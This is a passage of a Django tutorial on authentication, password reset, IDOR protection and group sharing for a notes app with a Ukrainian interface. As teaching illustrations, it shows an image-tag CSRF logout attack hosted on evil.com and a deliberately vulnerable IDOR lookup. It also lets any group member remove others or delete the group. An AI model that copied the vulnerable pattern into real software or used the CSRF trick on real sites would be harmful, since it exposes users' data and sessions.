{% extends 'base.html' %}
{% load crispy_forms_tags %}
{% block body %}
<div class="min-vh-100 d-flex align-items-center justify-content-center bg-light">
<div class="card shadow" style="width: 440px;">
<div class="card-body p-4">
{% if validlink %}
{# validlink = True → the token is valid (not expired, not used) #}
<div class="text-center mb-4">
<i class="bi bi-lock-fill display-4 text-primary"></i>
<h5 class="fw-bold mt-2">Новий пароль</h5>
</div>
<form method="post">
{% csrf_token %}
{{ form|crispy }}
{# SetPasswordForm: new_password1, new_password2 #}
{# Django automatically runs PASSWORD_VALIDATORS on these fields #}
<button type="submit" class="btn btn-primary w-100 mt-2 py-2">
<i class="bi bi-check-lg me-2"></i>Зберегти новий пароль
</button>
</form>
{% else %}
{# validlink = False → the token has expired (>72 hours) or was already used #}
<div class="text-center py-3">
<i class="bi bi-exclamation-triangle-fill display-4 text-danger mb-3"></i>
<h5 class="fw-bold">Посилання недійсне</h5>
<p class="text-muted">
Термін дії посилання вийшов (72 год) або воно вже було використано.
</p>
<a href="{% url 'password_reset' %}" class="btn btn-outline-warning mt-2">
<i class="bi bi-arrow-clockwise me-1"></i>Запросити нове посилання
</a>
</div>
{% endif %}
</div>
</div>
</div>
{% endblock %}
templates/registration/password_reset_complete.html¶
{% extends 'base.html' %}
{% block body %}
<div class="min-vh-100 d-flex align-items-center justify-content-center bg-light">
<div class="card shadow" style="width: 400px;">
<div class="card-body p-4 text-center">
<i class="bi bi-check-circle-fill display-4 text-success mb-3"></i>
<h5 class="fw-bold">Пароль успішно змінено!</h5>
<p class="text-muted">Тепер ви можете увійти з новим паролем.</p>
<a href="{% url 'login' %}" class="btn btn-primary mt-2 py-2 px-4">
<i class="bi bi-box-arrow-in-right me-2"></i>Увійти
</a>
</div>
</div>
</div>
{% endblock %}
templates/registration/password_reset_email.html — the email text¶
{# This is a PLAIN-TEXT email — no HTML tags! Django looks for this template automatically. #}
Привіт!
Ви запросили скидання пароля для акаунту на Notes Chat App.
Перейдіть за посиланням щоб встановити новий пароль:
{{ protocol }}://{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %}
Посилання дійсне 72 години. Після використання воно більше не працюватиме.
Якщо ви не запитували скидання пароля — просто проігноруйте цей лист.
Ваш пароль залишається незмінним.
— Notes Chat App
Variables in the email:
- {{ protocol }} — http or https
- {{ domain }} — localhost:8001 or mysite.com
- {{ uid }} — base64-encoded user PK
- {{ token }} — an HMAC-signed single-use token
Step 5 — Password Change¶
Password change requires that the user is already logged in (unlike password reset).
PasswordChangeView checks is_authenticated itself — you don't need @login_required.
templates/registration/password_change_form.html¶
{% extends 'layouts/dashboard.html' %}
{% load crispy_forms_tags %}
{% block topbar_title %}Зміна пароля{% endblock %}
{% block content %}
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card shadow-sm">
<div class="card-header py-3">
<h6 class="mb-0 fw-semibold">
<i class="bi bi-key me-2"></i>Зміна пароля
</h6>
</div>
<div class="card-body">
<form method="post">
{% csrf_token %}
{{ form|crispy }}
{# PasswordChangeForm: old_password, new_password1, new_password2 #}
<hr>
<div class="d-flex gap-2">
<button type="submit" class="btn btn-primary">
<i class="bi bi-check-lg me-1"></i>Змінити пароль
</button>
<a href="{% url 'notes_app:note_list' %}" class="btn btn-outline-secondary">
Скасувати
</a>
</div>
</form>
</div>
</div>
</div>
</div>
{% endblock %}
templates/registration/password_change_done.html¶
{% extends 'layouts/dashboard.html' %}
{% block topbar_title %}Пароль змінено{% endblock %}
{% block content %}
<div class="card shadow-sm" style="max-width: 480px;">
<div class="card-body text-center py-5">
<i class="bi bi-check-circle-fill display-4 text-success mb-3"></i>
<h5 class="fw-bold">Пароль успішно змінено!</h5>
<p class="text-muted">Наступного разу входьте з новим паролем.</p>
<a href="{% url 'notes_app:note_list' %}" class="btn btn-primary mt-2">
<i class="bi bi-house me-2"></i>До нотаток
</a>
</div>
</div>
{% endblock %}
Links in the navbar dropdown¶
{# templates/layouts/dashboard.html — the user dropdown in the navbar: #}
<ul class="dropdown-menu dropdown-menu-dark dropdown-menu-end shadow">
<li>
<span class="dropdown-item-text text-white-50 small">{{ request.user.username }}</span>
</li>
<li><hr class="dropdown-divider border-secondary"></li>
<li>
<a class="dropdown-item" href="{% url 'notes_app:group_list' %}">
<i class="bi bi-people me-2"></i>Мої групи
</a>
</li>
<li>
<a class="dropdown-item" href="{% url 'password_change' %}">
{# 'password_change' — a built-in URL from django.contrib.auth.urls #}
<i class="bi bi-key me-2"></i>Змінити пароль
</a>
</li>
<li><hr class="dropdown-divider border-secondary"></li>
<li>
<!-- Logout — a POST request (protection against a CSRF logout attack) -->
<form method="post" action="{% url 'logout' %}">
{% csrf_token %}
<button type="submit" class="dropdown-item text-danger">
<i class="bi bi-box-arrow-right me-2"></i>Вийти
</button>
</form>
</li>
</ul>
Why is logout a POST and not a GET? GET requests can be embedded in
<img src="/accounts/logout/">on evil.com. Anyone who opened the attacker's page would automatically be logged out. POST requires a CSRF token → impossible to perform from another site.
Step 6 — Object-Level Permissions¶
The pattern applies in every view that takes a pk and modifies data.
# notes_app/views.py — full implementation of note_edit with all checks:
from django.contrib.auth.decorators import login_required
from django.shortcuts import get_object_or_404, redirect, render
from django.contrib import messages
from django.db.models import Q
from .models import Note
from .forms import NoteForm
from . import services, selectors
@login_required
def note_edit(request, pk):
"""
Editing a note — two levels of checks:
1. @login_required → AuthN: logged in?
2. Q(user) | Q(group) → read access: own or group note?
3. note.user == request.user → AuthZ write: only the owner may edit
Why a Q-filter and not get_object_or_404(..., user=request.user)?
get_object_or_404(Note, pk=pk, user=request.user) would block
group members from viewing the note via the URL /notes/<pk>/edit/.
The real logic: a group member may READ the note (sees it),
but only the owner may EDIT it.
"""
user_groups = request.user.groups.all()
note = get_object_or_404(
Note.objects.filter(Q(user=request.user) | Q(group__in=user_groups)),
pk=pk,
)
# ↑ SQL: SELECT * FROM note WHERE pk=<pk> AND (user_id=<uid> OR group_id IN (...))
# → 404 if neither the owner nor a group member
if note.user != request.user:
# A group member may VIEW the note, but not edit someone else's
messages.error(request, 'Ти не можеш редагувати нотатку іншого користувача.')
return redirect('notes_app:note_detail', pk=pk)
if request.method == 'POST':
form = NoteForm(request.POST, instance=note, user=request.user)
if form.is_valid():
# tags — an M2M field; NoteForm.cleaned_data['tags'] → a QuerySet of Tag objects
# the service needs tag_ids separately (we don't pass the dict directly!)
tags = form.cleaned_data.get('tags')
tag_ids = [t.id for t in tags] if tags else []
services.update_note(
note,
title=form.cleaned_data['title'],
content=form.cleaned_data.get('content', ''),
priority=form.cleaned_data.get('priority', note.priority),
notebook=form.cleaned_data.get('notebook'),
is_pinned=form.cleaned_data.get('is_pinned', note.is_pinned),
group=form.cleaned_data.get('group'),
tag_ids=tag_ids,
)
# update_note(note, *, title, content, ...) — keyword-only args
# You can't call it as update_note(note, form.cleaned_data) → TypeError
messages.success(request, f'✅ Нотатку "{note.title}" оновлено!')
return redirect('notes_app:note_detail', pk=note.pk)
else:
form = NoteForm(instance=note, user=request.user)
return render(request, 'notes_app/note_form.html', {
'form': form,
'title': f'Редагувати: {note.title}',
'note': note,
'action': 'Зберегти зміни',
})
@login_required
def note_delete(request, pk):
# Similarly: Q-filter for access + owner check before deletion
user_groups = request.user.groups.all()
note = get_object_or_404(
Note.objects.filter(Q(user=request.user) | Q(group__in=user_groups)),
pk=pk,
)
if note.user != request.user:
messages.error(request, 'Ти не можеш видалити нотатку іншого користувача.')
return redirect('notes_app:note_list')
if request.method == 'POST':
title = note.title
services.delete_note(note)
messages.warning(request, f'🗑️ Нотатку "{title}" видалено.')
return redirect('notes_app:note_list')
return render(request, 'notes_app/note_confirm_delete.html', {'note': note})
Before vs After:
# ✗ BEFORE (IDOR vulnerability):
note = get_object_or_404(Note, pk=pk)
# SQL: SELECT * FROM note WHERE pk=43
# Returns Bob's note if pk=43 — no owner check at all!
# ✓ AFTER for personal objects (Notebook, TodoList, etc.):
notebook = get_object_or_404(Notebook, pk=pk, user=request.user)
# SQL: SELECT * FROM notebook WHERE pk=43 AND user_id=42
# pk=43 + user_id=42 → not found → 404
# ✓ AFTER for shared objects (Note — may belong to a group):
user_groups = request.user.groups.all()
note = get_object_or_404(
Note.objects.filter(Q(user=request.user) | Q(group__in=user_groups)),
pk=pk,
)
# SQL: SELECT * FROM note WHERE pk=43 AND (user_id=42 OR group_id IN (1,3))
# Owner OR group member — both get read access
# For writing: we additionally check note.user == request.user separately
Step 7 — Models: Group FK¶
Location: notes_app/models.py
from django.contrib.auth.models import User, Group
class Note(models.Model):
user = models.ForeignKey(
User, on_delete=models.CASCADE, related_name='notes'
)
# ── Group FK: for shared access ──────────────────────────────────────────
group = models.ForeignKey(
Group,
on_delete=models.SET_NULL, # ← SET_NULL, not CASCADE!
null=True, # ← NULL = personal note (by default)
blank=True, # ← the field is optional in the form
related_name='notes',
)
# ── the remaining fields ──────────────────────────────────────────────────
notebook = models.ForeignKey(
'Notebook', on_delete=models.SET_NULL, null=True, blank=True,
related_name='notes'
)
title = models.CharField(max_length=200)
content = models.TextField(blank=True)
priority = models.PositiveSmallIntegerField(default=1)
is_pinned = models.BooleanField(default=False)
is_archived = models.BooleanField(default=False)
created_at = models.DateTimeField(auto_now_add=True)
updated_at = models.DateTimeField(auto_now=True)
tags = models.ManyToManyField('Tag', blank=True)
class ShoppingList(models.Model):
user = models.ForeignKey(User, on_delete=models.CASCADE)
# ShoppingList also has a group FK for sharing:
group = models.ForeignKey(
Group,
on_delete=models.SET_NULL,
null=True, blank=True,
related_name='shopping_lists',
)
title = models.CharField(max_length=200)
store_name = models.CharField(max_length=100, blank=True)
Why SET_NULL and not CASCADE?¶
CASCADE: deleting a group → ALL of the group's notes are deleted
Alice deletes "Development Team" → Bob loses the shared notes!
Unexpected and irreversible.
SET_NULL: deleting a group → the notes remain but become personal (group=NULL)
Alice deletes the group → the notes move to their owners' personal spaces
Safe behavior: no data is lost, only the sharing stops.
Django performs SET_NULL automatically during a CASCADE delete:
DELETE FROM auth_group WHERE id=5
→ UPDATE note SET group_id=NULL WHERE group_id=5 ← automatically!
→ UPDATE shoppinglist SET group_id=NULL WHERE group_id=5 ← this too!
Step 8 — Selectors¶
Location: notes_app/selectors.py
from django.db.models import Q, Count
from django.contrib.auth.models import Group
from .models import Note, Notebook, Tag
def get_user_notes(user, *, archived=False, notebook=None, tag=None, search=None):
"""
Returns the user's notes + notes of the groups they belong to.
Q(user=user) | Q(group__in=user_groups) — the key Q-filter.
select_related/prefetch_related: a minimum of SQL queries (no N+1).
"""
user_groups = user.groups.all()
qs = Note.objects.filter(
Q(user=user) | Q(group__in=user_groups), # own or group notes
is_archived=archived,
).select_related(
'notebook', # JOIN → no +1 SQL when displaying the notebook color
'group', # JOIN → no +1 SQL when displaying the group name
).prefetch_related(
'tags', # IN query → no +1 SQL when displaying tags
)
if notebook is not None:
qs = qs.filter(notebook=notebook)
if tag is not None:
qs = qs.filter(tags=tag)
if search:
qs = qs.filter(
Q(title__icontains=search) | Q(content__icontains=search)
)
return qs.order_by('-is_pinned', '-priority', '-updated_at')
def get_user_groups(user):
"""The user's groups with the number of members (annotate)."""
return user.groups.annotate(
member_count=Count('user')
# annotate: adds a 'member_count' field to each Group object
# SQL: SELECT g.*, COUNT(ug.user_id) as member_count
# FROM auth_group g
# JOIN auth_user_groups ug ON ug.group_id = g.id
# WHERE g.id IN (Alice's group ids)
# GROUP BY g.id
).order_by('name')
def get_group_with_members(group_id, user):
"""
Returns the group with its members ONLY if the user is a member.
If not a member → None (not Http404 — the view decides).
"""
try:
group = Group.objects.prefetch_related('user_set').get(pk=group_id)
if not group.user_set.filter(pk=user.pk).exists():
return None # not a member → the view will return 404
return group
except Group.DoesNotExist:
return None
Explanation of select_related vs prefetch_related:
# select_related: JOIN → one SQL query
# Used for ForeignKey and OneToOne (N-to-1)
.select_related('notebook')
# SQL: SELECT note.*, nb.* FROM note LEFT JOIN notebook nb ON note.notebook_id = nb.id
# prefetch_related: a separate IN query → two SQL queries
# Used for ManyToMany (M-to-N)
.prefetch_related('tags')
# SQL 1: SELECT note.* FROM note WHERE ...
# SQL 2: SELECT tag.* FROM tag INNER JOIN note_tags ON ... WHERE note_id IN (1,2,3,...)
# Without select_related/prefetch_related → the N+1 problem:
# 10 notes → 10 queries for notebook + 10 for tags = 21 SQL queries!
# With the optimization → 3 SQL queries (notes + notebooks + tags)
Step 9 — Services¶
Location: notes_app/services.py
from django.contrib.auth.models import Group, User
from django.db import transaction
def create_group(*, name, creator):
"""
Creates a group and automatically adds creator as the first member.
Without a transaction: if add() fails → the Group exists without members.
With atomic(): both operations succeed or both are rolled back.
"""
with transaction.atomic():
group = Group.objects.create(name=name)
group.user_set.add(creator) # M:N INSERT into auth_user_groups
return group
def add_user_to_group(group, username):
"""
Adds a user to the group by username.
Returns (True, '') or (False, 'error message').
Why not raise an Exception?
The view expects a tuple (ok, msg) to display the error in the form without a 500.
"""
try:
user = User.objects.get(username=username)
except User.DoesNotExist:
return False, f'Користувача «{username}» не знайдено.'
if group.user_set.filter(pk=user.pk).exists():
return False, f'«{username}» вже є членом цієї групи.'
group.user_set.add(user)
return True, ''
def remove_user_from_group(group, user):
"""Removes a user from the group. M:N DELETE from auth_user_groups."""
group.user_set.remove(user)
def delete_group(group):
"""
Deletes the group.
Django automatically applies SET_NULL to Note.group and ShoppingList.group.
No notes are lost.
"""
group.delete()
Step 10 — Group Views¶
Location: notes_app/views.py
from django.contrib.auth.models import Group, User
from django.core.exceptions import PermissionDenied
from django.http import Http404
from . import selectors, services
@login_required
def group_list(request):
"""List of groups the current user belongs to."""
groups = selectors.get_user_groups(request.user)
return render(request, 'notes_app/group_list.html', {'groups': groups})
@login_required
def group_create(request):
"""
Creating a new group. The creator automatically becomes the first member.
Validation is done through the GroupCreateForm form, not manually via request.POST.get().
Advantages of forms over raw POST:
• clean_name() checks name uniqueness automatically
• All errors are available via form.errors → we render them in the template
• Consistent with the other views — one approach across the whole project
• DRY: the validation logic is in one place (forms.py), not in every view
"""
if request.method == 'POST':
form = GroupCreateForm(request.POST)
if form.is_valid():
group = services.create_group(
name=form.cleaned_data['name'],
creator=request.user,
)
messages.success(request, f'✅ Групу «{group.name}» створено! Ви перший учасник.')
return redirect('notes_app:group_detail', pk=group.pk)
else:
form = GroupCreateForm()
return render(request, 'notes_app/group_form.html', {
'form': form, 'title': 'Нова група', 'action': 'Створити',
})
@login_required
def group_detail(request, pk):
"""
Viewing a group: members + actions (add/remove/leave).
One view — three actions through one POST:
action='add' → add a member by username
action='remove' → remove a specific member (by user_pk)
action='leave' → the current user leaves the group
"""
group = selectors.get_group_with_members(pk, request.user)
if group is None:
raise Http404('Групу не знайдено або у вас немає доступу.')
error = None
if request.method == 'POST':
action = request.POST.get('action')
if action == 'add':
username = request.POST.get('username', '').strip()
ok, msg = services.add_user_to_group(group, username)
if ok:
messages.success(request, f'«{username}» додано до групи.')
return redirect('notes_app:group_detail', pk=pk)
else:
error = msg
elif action == 'remove':
remove_pk = request.POST.get('user_pk')
try:
target = User.objects.get(pk=remove_pk)
if target == request.user:
messages.error(request, 'Щоб покинути групу — використай кнопку "Покинути".')
else:
services.remove_user_from_group(group, target)
messages.success(request, f'«{target.username}» видалено з групи.')
except User.DoesNotExist:
pass
return redirect('notes_app:group_detail', pk=pk)
elif action == 'leave':
group_name = group.name
services.remove_user_from_group(group, request.user)
messages.info(request, f'Ви покинули групу «{group_name}».')
return redirect('notes_app:group_list')
return render(request, 'notes_app/group_detail.html', {
'group': group,
'members': group.user_set.all(),
'error': error,
})
@login_required
def group_delete(request, pk):
"""
Deleting a group.
Only if request.user is a member → 403 (we know the group exists).
"""
group = get_object_or_404(Group, pk=pk)
if not group.user_set.filter(pk=request.user.pk).exists():
raise PermissionDenied # 403: we know it exists, but there is no access
if request.method == 'POST':
name = group.name
services.delete_group(group)
messages.warning(
request,
f'Групу «{name}» видалено. Спільні нотатки і списки стали особистими.'
)
return redirect('notes_app:group_list')
return render(request, 'notes_app/group_confirm_delete.html', {'group': group})
Key pattern — one view, three actions:
POST /groups/5/ {action: 'add', username: 'bob'} → add Bob
POST /groups/5/ {action: 'remove', user_pk: 99} → remove user.pk=99
POST /groups/5/ {action: 'leave'} → the current user leaves
Why one view and not three URLs?
- All group management logic is in one place
- A shared middleware check (membership)
- Easier to test (one TestCase class test)
- Fewer URL patterns
Step 11 — Group Templates¶
Location: notes_app/templates/notes_app/
group_list.html — group cards¶
{% extends 'layouts/dashboard.html' %}
{% block topbar_title %}Мої групи{% endblock %}
{% block content %}
<div class="d-flex justify-content-between align-items-center mb-4">
<h5 class="fw-semibold mb-0">
<i class="bi bi-people me-2 text-primary"></i>Мої групи
</h5>
<a href="{% url 'notes_app:group_create' %}" class="btn btn-primary btn-sm">
<i class="bi bi-person-plus me-1"></i>Нова група
</a>
</div>
{% if groups %}
<div class="row row-cols-1 row-cols-md-3 g-3">
{% for group in groups %}
<div class="col">
<div class="card h-100 shadow-sm border-0">
<div class="card-body">
<h6 class="fw-semibold mb-1">{{ group.name }}</h6>
<p class="text-muted small mb-0">
<i class="bi bi-person me-1"></i>
{{ group.member_count }} учасник{{ group.member_count|pluralize:",и,ів" }}
{# member_count = annotate from the get_user_groups selector #}
</p>
</div>
<div class="card-footer bg-transparent border-0 pt-0">
<a href="{% url 'notes_app:group_detail' group.pk %}"
class="btn btn-outline-primary btn-sm">
<i class="bi bi-arrow-right me-1"></i>Відкрити
</a>
<a href="{% url 'notes_app:group_chat' group.pk %}"
class="btn btn-outline-success btn-sm ms-1">
<i class="bi bi-chat me-1"></i>Чат
</a>
</div>
</div>
</div>
{% endfor %}
</div>
{% else %}
<div class="text-center py-5 text-muted">
<i class="bi bi-people display-4 mb-3"></i>
<h6>Груп ще немає</h6>
<p class="small">Створи групу і додай учасників для спільного доступу до нотаток.</p>
<a href="{% url 'notes_app:group_create' %}" class="btn btn-primary btn-sm">
Створити першу групу
</a>
</div>
{% endif %}
{% endblock %}
group_detail.html — members and actions¶
{% extends 'layouts/dashboard.html' %}
{% block topbar_title %}Група: {{ group.name }}{% endblock %}
{% block content %}
<div class="row g-4">
<!-- ── Member list ── -->
<div class="col-md-6">
<div class="card shadow-sm">
<div class="card-header d-flex justify-content-between align-items-center">
<h6 class="mb-0">
<i class="bi bi-people me-2"></i>Учасники ({{ members.count }})
</h6>
</div>
<ul class="list-group list-group-flush">
{% for member in members %}
<li class="list-group-item d-flex justify-content-between align-items-center">
<span>
<i class="bi bi-person-circle me-2 text-muted"></i>
{{ member.username }}
{% if member == request.user %}
<span class="badge bg-success rounded-pill ms-1">Ти</span>
{% endif %}
</span>
<!-- Remove a member — action=remove -->
{% if member != request.user %}
<form method="post" class="d-inline">
{% csrf_token %}
<input type="hidden" name="action" value="remove">
<input type="hidden" name="user_pk" value="{{ member.pk }}">
<button type="submit"
class="btn btn-outline-danger btn-sm"
onclick="return confirm('Видалити {{ member.username }} з групи?')">
<i class="bi bi-x-lg"></i>
</button>
</form>
{% endif %}
</li>
{% endfor %}
</ul>
</div>
</div>
<!-- ── Actions panel ── -->
<div class="col-md-6">
<!-- Add a member — action=add -->
<div class="card shadow-sm mb-3">
<div class="card-header">
<h6 class="mb-0"><i class="bi bi-person-plus me-2"></i>Додати учасника</h6>
</div>
<div class="card-body">
{% if error %}
<div class="alert alert-danger py-2 small mb-3">
<i class="bi bi-exclamation-circle me-1"></i>{{ error }}
</div>
{% endif %}
<form method="post" class="d-flex gap-2">
{% csrf_token %}
<input type="hidden" name="action" value="add">
<input type="text"
name="username"
class="form-control form-control-sm"
placeholder="username учасника"
required>
<button type="submit" class="btn btn-primary btn-sm">
<i class="bi bi-plus-lg"></i>
</button>
</form>
</div>
</div>
<!-- Group chat -->
<div class="card shadow-sm mb-3">
<div class="card-body d-flex align-items-center gap-3">
<i class="bi bi-chat-dots-fill text-success fs-4"></i>
<div>
<h6 class="mb-0">Груповий чат</h6>
<p class="text-muted small mb-0">WebSocket чат у реальному часі</p>
</div>
<a href="{% url 'notes_app:group_chat' group.pk %}"
class="btn btn-outline-success btn-sm ms-auto">
Відкрити чат
</a>
</div>
</div>
<!-- Danger zone: leave or delete -->
<div class="card border-danger shadow-sm">
<div class="card-header border-danger">
<h6 class="text-danger mb-0">
<i class="bi bi-exclamation-triangle me-2"></i>Небезпечна зона
</h6>
</div>
<div class="card-body">
<!-- Leave the group — action=leave -->
<form method="post" class="d-inline">
{% csrf_token %}
<input type="hidden" name="action" value="leave">
<button type="submit"
class="btn btn-outline-danger btn-sm me-2"
onclick="return confirm('Покинути групу «{{ group.name }}»?')">
<i class="bi bi-door-open me-1"></i>Покинути групу
</button>
</form>
<!-- Delete the group — a separate URL (GET → confirm page) -->
<a href="{% url 'notes_app:group_delete' group.pk %}"
class="btn btn-danger btn-sm">
<i class="bi bi-trash me-1"></i>Видалити групу
</a>
</div>
</div>
</div>
</div>
{% endblock %}
group_confirm_delete.html¶
{% extends 'layouts/dashboard.html' %}
{% block topbar_title %}Видалення групи{% endblock %}
{% block content %}
<div class="card border-danger shadow-sm" style="max-width: 500px;">
<div class="card-header bg-danger text-white">
<h6 class="mb-0">
<i class="bi bi-trash me-2"></i>Видалення групи «{{ group.name }}»
</h6>
</div>
<div class="card-body">
<div class="alert alert-warning">
<strong><i class="bi bi-exclamation-triangle me-1"></i>Після видалення:</strong>
<ul class="mb-0 mt-2 ps-3">
<li>Група та список учасників видаляться <strong>назавжди</strong>.</li>
<li>Нотатки і списки покупок <strong>НЕ видаляються</strong> —
вони стають особистими (<code>group = NULL</code>
через <code>on_delete=SET_NULL</code>).</li>
<li>Чат групи і всі повідомлення <strong>видаляться</strong>
(<code>ChatMessage.group FK CASCADE</code>).</li>
</ul>
</div>
<form method="post">
{% csrf_token %}
<button type="submit" class="btn btn-danger me-2">
<i class="bi bi-trash me-1"></i>Так, видалити
</button>
<a href="{% url 'notes_app:group_detail' group.pk %}"
class="btn btn-outline-secondary">
Скасувати
</a>
</form>
</div>
</div>
{% endblock %}
File structure¶
notes_chat_app/
│
├── notes_project/
│ ├── settings.py ★ LOGIN_URL, EMAIL_BACKEND, CSRF_TRUSTED_ORIGINS,
│ │ SESSION_COOKIE_HTTPONLY, X_FRAME_OPTIONS
│ └── urls.py ★ include('django.contrib.auth.urls') + notes_app
│
├── notes_app/
│ ├── models.py ★ Note.group FK(Group, SET_NULL)
│ │ ShoppingList.group FK(Group, SET_NULL)
│ │ ChatMessage.group FK(Group, CASCADE)
│ ├── selectors.py ★ get_user_notes (Q filter)
│ │ get_user_groups (annotate member_count)
│ │ get_group_with_members (membership check)
│ ├── services.py ★ create_group, add_user_to_group,
│ │ remove_user_from_group, delete_group
│ ├── views.py ★ register, group_list, group_create,
│ │ group_detail (3-action POST), group_delete
│ │ + IDOR protection in note_edit, note_delete, etc.
│ ├── consumers.py ★ GroupChatConsumer (WebSocket, membership check)
│ ├── urls.py ★ /groups/ + /register/ URL patterns
│ ├── context_processors.py ← sidebar: notebooks + tags (unchanged)
│ └── templates/notes_app/
│ ├── note_list.html ← Q-filtered notes (personal + group)
│ ├── note_form.html ← group field in the form
│ ├── group_list.html ← group cards with member_count ★
│ ├── group_form.html ← form for the new group's name ★
│ ├── group_detail.html ← members, action=add/remove/leave ★
│ └── group_confirm_delete.html ← SET_NULL explanation ★
│
└── templates/
├── base.html ← Bootstrap CDN, messages block
├── layouts/
│ └── dashboard.html ← "Groups" in the sidebar + dropdown:
│ "Change password", "Log out" (POST logout)
├── registration/
│ ├── login.html ★ CSRF token, "next" hidden input
│ ├── register.html ★ UserCreationForm + crispy
│ ├── password_reset_form.html ★ email form
│ ├── password_reset_done.html ★ DEV: hint about docker logs
│ ├── password_reset_confirm.html ★ validlink check + crispy form
│ ├── password_reset_complete.html ★ success + login link
│ ├── password_reset_email.html ★ email text (protocol/domain/token)
│ ├── password_change_form.html ★ PasswordChangeForm + crispy
│ └── password_change_done.html ★ success
└── components/
├── empty_state.html
├── pagination.html
└── confirm_modal.html
Checking in the browser¶
| Action | URL | What to check |
|---|---|---|
| Registration | /register/ |
Auto-login → redirect /notes/ |
| Login | /accounts/login/ |
session cookie in DevTools → Application → Cookies |
| Login CSRF | DevTools → Application → Cookies | csrftoken is present |
| Logout | POST button | The sessionid cookie is deleted |
| Password Reset | /accounts/password_reset/ |
Email in docker compose logs web |
| Expired token | /accounts/reset/... (old URL) |
validlink=False → "Посилання недійсне" (Link is invalid) |
| IDOR test | /notes/2/edit/ (someone else's note) |
404 (not 403!) |
| Password Change | /accounts/password_change/ |
old_password is checked |
| Group | /groups/new/ → /groups/<pk>/ |
creator is a member |
| Group notes | Tag a note with a group | Another member sees it in /notes/ |
| Group chat | /groups/<pk>/chat/ |
WebSocket connection |
| DELETE group | /groups/<pk>/delete/ → POST |
Notes become personal (group=NULL) |
Summary: what to look for and where¶
| Concept | Where in the code |
|---|---|
| AuthN vs AuthZ | views.py — @login_required + Q-filter for access + note.user != request.user for editing |
| Middleware chain | settings.py — the MIDDLEWARE list + its order |
| Session flow | settings.py — SESSION_COOKIE_* + the Django session framework |
| Login/Logout | templates/registration/login.html + urls.py auth.urls |
| POST logout | dashboard.html — <form method="post" action="{% url 'logout' %}"> |
| Password Reset | templates/registration/password_reset_*.html (5 files) |
| DEV email | docker compose logs -f web — find the URL /accounts/reset/... |
| Password Change | templates/registration/password_change_*.html + dashboard dropdown |
| IDOR protection | views.py — personal objects: get_object_or_404(Notebook, pk=pk, user=...), shared: Q-filter + owner check |
| 404 not 403 | views.py — "don't reveal the existence of someone else's object" |
| Group FK SET_NULL | models.py — Note.group + ShoppingList.group |
| Q-filter | selectors.py — Q(user=user) \| Q(group__in=user_groups) |
| N+1 protection | selectors.py — select_related('notebook', 'group'), prefetch_related('tags') |
| Group CRUD | services.py — create_group, add_user_to_group, delete_group |
| 3-action POST | views.py group_detail — action='add'/'remove'/'leave' |
| SET_NULL cascade | group_confirm_delete.html — explanation of the behavior |
| Security settings | settings.py — HTTPONLY, SAMESITE, X_FRAME_OPTIONS, DEBUG=False |
| ngrok CSRF | settings.py — CSRF_TRUSTED_ORIGINS from the NGROK_DOMAIN env |
| PBKDF2 passwords | the auth_user.password field — pbkdf2_sha256$600000$salt$hash |
Self-check checklist¶
- [ ]
@login_requiredandLOGIN_URLinsettings.pyare configured - [ ]
include("django.contrib.auth.urls")is connected inurls.py - [ ] The templates
registration/login.htmlandregistration/register.htmlexist - [ ]
{% csrf_token %}in every form withmethod="post" - [ ] Personal objects:
get_object_or_404(Model, pk=pk, user=request.user); shared (Note): Q-filter +note.user != request.userbefore writing - [ ] The Password Reset flow is tested (the link is in
docker compose logs web) - [ ] The
validlinkcheck inpassword_reset_confirm.html - [ ] The Q-filter
Q(user=user) | Q(group__in=user_groups)inselectors.py - [ ]
SESSION_COOKIE_HTTPONLY = TrueandX_FRAME_OPTIONS = "DENY"in settings.py - [ ] Logout is a POST request (not a GET link)
- [ ] Group delete explains that notes become personal (they are not deleted)
Next¶
Next step: 06 — Testing — TestCase, the AAA pattern, service/view tests, Selenium E2E.
Documentation modules: - README_6.md — Auth & Security: a detailed tutorial with full code (crispy_notes_project) - README_9.md — Production Stack: Docker+nginx+ngrok+Redis for notes_chat_app - docs/07_auth_and_security/ — theoretical materials: OWASP, Zero Trust, SIEM